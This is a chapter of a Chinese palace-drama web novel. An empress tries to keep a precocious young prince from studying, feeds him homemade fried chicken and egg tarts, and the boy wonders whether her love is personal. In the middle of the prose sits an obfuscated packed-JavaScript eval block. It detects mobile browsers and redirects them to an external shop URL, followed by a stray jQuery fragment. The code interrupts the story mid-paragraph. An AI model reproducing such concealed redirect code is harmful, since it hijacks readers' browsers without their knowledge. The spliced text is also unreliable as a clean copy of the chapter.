赵听嫣回到坤宁宫时已经日落了。
按理说文华殿那边未时末就该下学的,可眼下已经酉时,还不见齐子衡人影。
该不会又有谁使坏欺负这小子了吧?
不应该啊,她都给了一波下马威了,谁这么胆大,不要命了吗?
赵听嫣有些担忧,连忙带着几个武侍打算往文华殿去。
谁知道还没出坤宁宫,就看到齐子衡从不远处跑跑跳跳而来。
小豆丁兴冲冲的跳到赵听嫣面前:“皇后娘娘!衡儿回来了!”
身旁的小侍怀里捧了一大叠染了墨迹的纸,齐子衡从中抽了一张,得意地展开给赵听嫣看:“娘娘您看,这是衡儿今日写的大字,写的好吗?”
满满一页规整的正楷,跟印刷的似的。
不是,五岁小孩,第一次学写字,能写成这样?
赵听嫣目瞪口呆。
齐子衡这小子应该不至于骗她,也就是说……完蛋了,这是个天赋异禀的家伙。
说好的纨绔废柴呢!从小就这么有天赋还怎么长成纨绔啊啊啊!
赵听嫣心中崩溃极了,但表面还得装的不喜于色:“衡儿真……厉害?所以你这么晚才回来,都是因为在学堂中习字吗?”
“习字只五百个而已,衡儿还想再学,夫子说不易贪多,剩下的时间夫子在给衡儿补习前面的课程。”
“夫子还夸衡儿聪慧呢,说是从未见过如此天资聪颖的孩子,讲一遍便都能懂了,衡儿今日学了《论语》十篇,《孟子》八篇,《春秋》十二篇,皇后娘娘,衡儿背给你听……”
赵听嫣险些站不稳。
她只觉得眼冒金星,声音都虚弱了:“李赞他答应我的,说是你年幼,不会特地给你补习……”
“夫子说皇后娘娘定是在客套!他定会好好培养衡儿,不让皇后娘娘失望……”
赵听嫣两眼一闭。
晕了。
……
赵听嫣虚弱地靠在床边喝参汤。
太医来诊治过,说她只是一时激动,有些急火攻心才晕过去的,近期应当静养,莫要情绪波动太大。
彩环一边给她喂参汤,一边感慨:“娘娘当真是将四殿下当做亲生的孩子!知道他如此好学,竟然都激动地昏过去了……”
“说起来四殿下确是个好苗子,娘娘神机妙算,当真是赌对了,以后四殿下一定能成为一代明君!”
“噗——”
赵听嫣郁卒喷了一口参汤。
她可真是有苦不能言啊。
“娘娘,四殿下一直在门口候着呢,他很担心您。”彩环指了指门口瘦削的小影子。
赵听嫣叹了口气:“让他进来吧。”
刚刚还因为学了新知识兴奋不已的小家伙此时已经成了一颗蔫巴巴的豆芽菜,垂着脑袋走进赵听嫣的寝殿,看到她脸色苍白的样子小脸更垮了:“皇后娘娘,您怎么样了?”
赵听嫣让他靠到床边来:“无妨的,衡儿不要担心。”
齐子衡眼眶都红了,看起来十分自责:“皇后娘娘,都怪衡儿,是衡儿害您病倒的。”
是这个道理但好像又有哪里不太对……
“皇后娘娘,您是不是……不想看到衡儿好好读书?”齐子衡一双水濛濛地大眼睛认真地看着她,乖巧地像狗狗一样,仿佛只要赵听嫣点头,他下一秒就能去把书本都撕了。
赵听嫣:……算你小子真相了。
彩环却立刻愤愤解释:“四殿下您怎么能这么想呢?娘娘看到您聪慧上进当然高兴啊,正是因为太过欢喜,这才激动之下昏倒的。”
齐子衡有些疑惑:“可是皇后娘娘是因为衡儿生病的,是衡儿的错。”
赵听嫣挠挠头,感觉这个谎如果不好好圆回去,她大概会被天打雷劈。
“衡儿,我只是不想看到你太辛苦。”
“才第一天上学堂就被夫子留下补习了那么久,午饭怕是都没吃上吧?你……不必那么努力,我只是想让你健康开心快乐,就满足了。”
彩环总结补刀:“最爱你的人心最低,不求才高八斗,只愿平安喜乐。”
吧嗒。
一滴圆滚滚的泪珠从齐子衡眼眶中滑落,小家伙瘪了瘪嘴,然后猛地扑进赵听嫣怀里。
赵听嫣:……行吧。
好不容易哄好了自我攻略的齐子衡,赵听嫣想了一晚上,这孩子天赋摆在这儿了,一味地阻止说不定会适得其反,得想想办法让他对其他更玩物丧志的东西产生兴趣才行。
每年冬节妃嫔们都可回娘家探亲,就在下个月,到时候把齐子衡带回赵家玩玩,顺便带他在宫外见识见识什么叫灯红酒绿人间喜乐,她就不信到时候这小子还能一心只读圣贤书。
另外还是得两手都要抓。
得为齐子衡在学堂中培养一批自己的小弟,一方面是为他形成仗势欺人的纨绔性格筹备人力资源,另一方面那些小弟们肯定比齐子衡见多识广,多带他玩一玩他大概就觉得读书没意思了。
但拉拢小弟不能只靠立威,还得给点甜头。
一般的金银财物怕是这些小少爷们不会感兴趣,都是权贵子弟,什么没见过,要给就得给点新鲜的。
赵听嫣想了几天,还是准备点小零食最妥当。
小孩子嘛,再大的毛病,一顿肯德基就治好了。
于是第二天赵听嫣就钻进厨房,致力将坤宁宫小厨房打造成KFC工业流水链。
烤面包研究了三日,炸鸡配方研究了两日,奥尔良口味研究失败,好在招牌蛋挞让赵听嫣试了七八天,总算搞出来了。
不知是不是看着赵听嫣每日在厨房烟熏火燎的太过辛苦,齐子衡这些时日食欲都比平日好了不少。
往日每日晨起只喝的下一碗牛乳,如今至少两碗,午膳赵听嫣会差人送去文华殿,每次都空盘,晚上回来吃的也不少,每当赵听嫣厨房新研制出什么菜品,齐子衡都能吃的干干净净,然后把赵听嫣的厨艺夸得天花乱坠。
不过几日的功夫,从前干瘪的小脸就肉眼可见的圆润起来。
每当赵听嫣笑眯眯地掐着他的脸蛋夸他长高了时,齐子衡都能开心一整夜。
最爱你的人心最低,齐子衡永远记得这句话。
他本以为好好读书长学问,为皇后娘娘争气她才会高兴,可没想到她却只希望他健康快乐。
齐子衡不知该怎么形容那时的心情。
他是一棵飘渺无依的枯草,只要是有阳光能照耀到的地方,求生的意识都会让他顺着石头缝往上攀。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16986090|193636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他被冷了太久,为了那一点光亮,做什么他都愿意。
他不怕苦不怕累,甚至连他自己都没有意识到,他始终在讨好的活着。
本以为钻出石缝破土而出时会让皇后娘娘开心,会赞扬他的优秀和坚韧,可皇后娘娘却在心疼他。
她看到的不是他钻出石缝之后的茁壮和昂扬,而是心疼他在攀岩时遭尖锐碎石欺压的苦。
她说只愿你健康快乐。
齐子衡这才后知后觉,原来他的太阳已经为他生命的每个角落都铺满了温暖,他不必钻石缝,也能被爱。
那一夜齐子衡辗转未眠。
或许是过去的苦日子让他患得患失,又或许是皇后娘娘真的太好了,好的让他不得不产生怀疑,他真的值得被这般爱着吗?
皇后娘娘到底为什么要待他这么好?
她是整个皇宫最漂亮的女人,拥有至高无上的权力,有着幸福美满的家庭,他们的生活本无半点交集,她又是为什么如天神般从天而降,解救受苦受难的他?
就在齐子衡快要放弃思考这个问题的时候,夫子讲到了“老吾老以及人之老,幼吾幼以及人之幼。”
“老吾老、幼吾幼皆乃人之常情,故圣贤垂训,贵在以及二字。此二字,如推窗见月,破茧成蝶,此心一推,便是将方寸之私爱,化为浩荡之仁风……”
人天生便有恻隐之心,推己及人,便是仁爱。帝王仁爱便是仁政,才能大道之行,天下为公。
身为一国之母的皇后娘娘,必定也是仁爱的。
齐子衡突然听不清台上的夫子到底在讲些什么了。
这些天苦困于他的问题终于拨云见日——
是因为皇后娘娘本身就是一个很好的人,她会仁爱的对待每个人。
亦或者说,那日若被两个太监欺辱的只是野猫野狗,皇后娘娘也会救下它,给它吃食,给它温暖。
齐子衡心底突然觉得空落落的。
直至下学,夫子喊住他:“四殿下,今日为何看起来心绪不宁,可是课业上有什么疑难不解吗?”
同学们正在依次收拾东西离殿,与夫子行礼告别。
待人都走的差不多了,齐子衡才犹豫地说:“劳烦夫子,学生的确有一处不解。”
“私爱推心乃是仁爱,仁爱浩荡,那……皇后娘娘……和陛下,待我与兄姐们,到底是私爱还是仁爱呢?”
夫子并未察觉到齐子衡脆弱的心。
只将此问当做一道议题来辩驳,既有私爱又含仁爱,辩证地扯了一大堆,齐子衡都没听进去。
直到身后有人出声解惑:“父母之爱是私爱,若非父非母仍能爱之,便是仁爱了。”
齐子衡回过头,只见齐子君站在他身后,朝他露出一个温和的笑来。
“二哥。”齐子衡拱手行礼。
二皇子齐子君笑道:“没想到四弟不过刚刚开蒙的年纪,便能思虑至深,着实让为兄佩服。”
齐子衡不想再跟齐子君继续这个话题。
没想到齐子君似乎看穿了他心中所想:“虽说我们都不是皇后娘娘亲生的孩子,但她是我们的嫡母,她待我们几人的情谊都是一样的。”
“不过……嫡母大约与亲娘还是有所不同的吧。”